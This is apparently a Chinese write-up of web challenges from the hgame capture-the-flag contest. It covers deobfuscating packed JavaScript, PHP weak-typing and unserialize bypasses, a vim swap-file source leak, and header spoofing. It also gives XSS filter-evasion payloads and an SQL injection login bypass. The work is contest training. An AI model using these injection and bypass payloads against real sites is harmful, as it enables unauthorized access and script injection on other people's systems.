杭电hgame wp

Are you from Europe?

  • 描述
    证明血统的时候到了

  • URL http://123.206.203.108:10001/European.html

  • 点金链接自己先抽了好多次,并没有ssr,看到“只有拥有 SSR 的真正欧皇才配兑换 flag ”,想着用xff和accept-language变成欧洲人,改了之后并没有用

  • 查看源代码,发现给了js的代码,还有一段很长的代码比较奇怪

    1
    eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('w p(){b a=l("8!k,j 8 o 1 m?");5(!$("#4").7()&&!$("#9").7()){2("i。");f}b 1="";1+="";1+="";1+="";1+="y";1+="{";1+="g";1+="h";1+="3";1+="6";1+="v";1+="h";1+="0";1+="s";1+="e";1+="u";1+="6";1+="0";1+="n";1+="r";1+="!";1+="}";5(a){$("#4").d();$("#9").d();2("t。1: "+1)}q{2("x。")}}',35,35,'|flag|alert||serv5|if|_|html|SSR|craft5|buy|var||remove||return|T||你根本不是欧洲人|你愿意献祭你全部的|欧洲人|confirm|吗||来获取|soHappy|else|E||兑换成功|N|C|function|你失去了唯一的机会|hgame'.split('|'),0,{}))
  • 这里是js代码加密,在线解密(http://tool.chinaz.com/js.aspx) 后,得到

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    function soHappy() {
    var buy = confirm("SSR!欧洲人,你愿意献祭你全部的 SSR 来获取 flag 吗?");
    if (!$("#serv5").html() && !$("#craft5").html()) {
    alert("你根本不是欧洲人。");
    return
    }
    var flag = "";
    flag += "";
    flag += "";
    flag += "";
    flag += "hgame";
    flag += "{";
    flag += "T";
    flag += "h";
    flag += "3";
    flag += "_";
    flag += "C";
    flag += "h";
    flag += "0";
    flag += "s";
    flag += "e";
    flag += "N";
    flag += "_";
    flag += "0";
    flag += "n";
    flag += "E";
    flag += "!";
    flag += "}";
    if (buy) {
    $("#serv5").remove();
    $("#craft5").remove();
    alert("兑换成功。flag: " + flag)
    } else {
    alert("你失去了唯一的机会。")
    }
    }
  • flag一目了然

special number

  • special number

  • 知识点:PHP弱类型

  • URL http://118.25.18.223:10001

  • 提示php弱类型并且给出源码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    include_once("flag.php");
    if(isset($_GET['key'])){
    $pattern = '/^(?=.*[0-9].*)(?=.*[a-zA-Z].*).{7,}$/ ';
    $key = $_GET['key'];
    if(preg_match($pattern,$key)===0){
    echo "格式错误";
    }else{
    $lock="******************";
    $b = json_decode($key);
    if($b==$lock)
    echo $flag;
    else
    echo "this is no special number";
    }
    }
  • json_decode会返回数组,但无法解码会返回null

  • 构造key=0e12345,0=0,得到flag

can u find me?

  • 描述
    only robot know where is the flag

  • flag格式为hgame开头

  • URL http://118.25.18.223:10003

  • 提示robot,想到robots.txt,打开发现

    1
    2
    User-agent: *
    Disallow: /f1aaaaaaaag.php
  • 打开f1aaaaaaaag.php

  • 9YVHfg.png

  • 将user改为admin,go得到flag

tell me what you want

  • 描述
    想要flag吗?
  • URL http://123.206.203.108:10001/
  • 代开链接,再文本框中输入1,提交,显示需要用POST提交
  • 9YVTk8.png
  • POST提交后要改XFF头
  • 9YVO6s.png
  • 用指定的“冰狐”浏览器
  • 9YV7tS.png
  • 继续按要求改。。。
  • 9YVXXn.png
  • cookie改为1
  • 9YVqpQ.png
  • 得到flag
  • 9YVLlj.png

我们不一样

  • 描述
    知识点:PHP弱类型

  • URL http://118.25.18.223:10002/

  • 源码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    include_once("flag.php");
    if(isset($_POST['str1'])&&isset($_POST['str2'])){

    if ($_POST['str1']!=$_POST['str2']&&strcmp($_POST['str1'],$_POST['str2'])==0) {
    echo "flag is:".$flag;
    exit();
    } else{
    echo "Something wrong..";
    }
    }
  • 还是php弱类型

  • $_POST[‘str1’]!=$_POST[‘str2’]且strcmp($_POST[‘str1’],$_POST[‘str2’])==0

  • strcmp处理数组的话会返回null,null==0,得到flag

  • Post数据str1[]=1&&str2[]=2

  • 得到flag

Random?

  • 描述
    多random几次没准就随机到一样的值呢 PS:网不好vim线上改代码真是致命

  • URL http://123.206.203.108:10001/random.php

  • 提示vim

  • vim备份文件
    默认情况下使用Vim编程,在修改文件后系统会自动生成一个带~的备份文件,某些情况下可以对其下载进行查看

  • vim临时文件
    vim中的swp即swap文件,在编辑文件时产生,它是隐藏文件,如果原文件名是submit,则它的临时文件.submit.swp。如果文件正常退出,则此文件自动删除。

  • 发现存在.random.php.swp

  • 打开后得到部分源代码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    #highlight_file(__FILE__);
    }
    }
    echo $flag;
    if ($emmm - >public == $emmm - >secret) {
    $emmm - >secret = random_int(0, 100000000);
    $emmm - >public = random_int(0, 100000000);
    }
    die("error");
    if (!is_object($emmm)) {
    $emmm = unserialize($_GET['emmm']);
    if ($_GET['emmm']) {}
    var $secret;
    var $public; {
    class emmm include('flag.php');
    error_reporting(0); < ?php
  • 用到php反序列化,O:4:”emmm”:2:{s:6:”secret”;s:12:”aaaaaaaaaaaa”;s:6:”public”;s:12:”aaaaaaaaaaaa”;}

xss1

  • 源码过滤了script(全局,不分大小写),image(全局,不分大小写)和左圆括号
  • 有html实体绕过左圆括号过滤
  • payload
  • <IMG SRC=”.”onmouseover=alert(1)>
    9rdBnK.png

xss2

  • 源码过滤script(全局,不分大小写),image(全局,不分大小写),img(全局,不分大小写),左圆括号和右尖括号

  • 需要闭合左右标签

  • payload

    1
    2
    3
    12">>
    <a onmouseover=alert&#40;1)>xxs link</a>
    <input value="23
  • 9rwLIe.png

  • 圆括号和尖括号只过滤一次,可以先输入一次圆括号绕过

    1
    2
    3
    12"(>>
    <a onmouseover=alert(1)>xxs link</a>
    <input value="23
  • 9r0VRs.png

最简单的sql题

  • 提示Only admin can get flag!!!!!
  • ?username=admin’ or 1=1 %23&pwd=2

sql注入

  • sqlmap跑一下就出来了。。。